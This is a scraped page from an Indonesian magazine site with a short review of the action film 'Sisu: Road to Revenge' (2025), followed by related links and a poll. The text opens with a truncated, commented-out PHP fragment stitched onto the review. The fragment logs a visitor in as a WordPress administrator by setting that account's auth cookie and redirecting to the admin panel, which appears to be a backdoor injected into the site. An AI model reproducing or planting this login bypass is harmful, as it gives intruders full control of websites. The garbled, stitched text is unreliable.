user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Reviews
Sisu: Road to Revenge, Kisah Balas Dendam di Luar Nalar

7 Dec 2025

Dalam hening, Aatami membabat habis lawan-lawannya. Sendirian pun! Foto: Sony Pictures


Sosok Aatami Korpi yang diperankan oleh Jorma Tommila diperkenalkan dalam film Sisu (2022); pria sedikit (malah nyaris tidak pernah) bicara yang berani mati membela Finlandia selama pendudukan Nazi di Perang Dunia II.

Dalam sekuel ini, kesunyian khas Aatami kembali hadir ketika ia kembali ke Karelia, tempat keluarganya dibunuh selama perang. Setting-nya tahun 1946, dua tahun setelah Finladia menyerahkan wilayah Karelia kepada Uni Soviet ketika Perang Dunia II berakhir.

Mendengar kembalinya sang legenda, pihak musuh pun membebaskan Igor Draganov (Stephen Lang), sosok yang bertanggung jawab atas pembunuhan keluarga Aatami. Ia dibebaskan untuk mengejar Aatami dan bahkan diperintahkan untuk membunuhnya. 

Tak ingin menyerah, Aatami pun berjuang sendiri dengan aksi-aksi brutal dan epik saat melawan Igor Draganov. Tank, truk, pesawat, kereta roket, motor antipeluru, semua menjadi ‘teman’ Aatami untuk bertahan dan tetap hidup.

Tak sedikit adegan yang logikanya, sih, Aatami seharusnya sudah hancur berkeping-keping–namun sosok yang dijuluki “Immortal” itu di masa pendudukan Nazi malah sebaliknya, tetap berjalan tegap, dingin, dan hening. 
Advertisement

Film ini terbagi dalam beberapa babak yang memperlihatkan eksekusi adegan yang jelas dan penonton terpuaskan.

Meski film ini juga memperlihatkan sisi tentang bangkitnya seseorang dari keterpurukan dan berusaha membangun hidupnya lagi, Sisu: Road to Revenge adalah film penuh aksi dan kekerasan, bukan film dengan pesan moral.

Penasaran bagaimana akhir dari perjuangan Aatami? Sisu: Road to Revenge yang disutradarai Jalmari Helander sudah tayang di bioskop mulai 5 Desember 2025. (f)

Baca juga:
3 Peran Villain Kim Young-Kwang, Dramanya Bisa Ditonton Maraton
Wicked: For Good, Ujian Dilematis untuk Persahabatan Elphaba-Glinda
10 Lagu untuk Menguatkan Afirmasi Positif di Tengah Minggu

 

Bennita Luisa


Topic

#feminaindonesia, #reviews

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?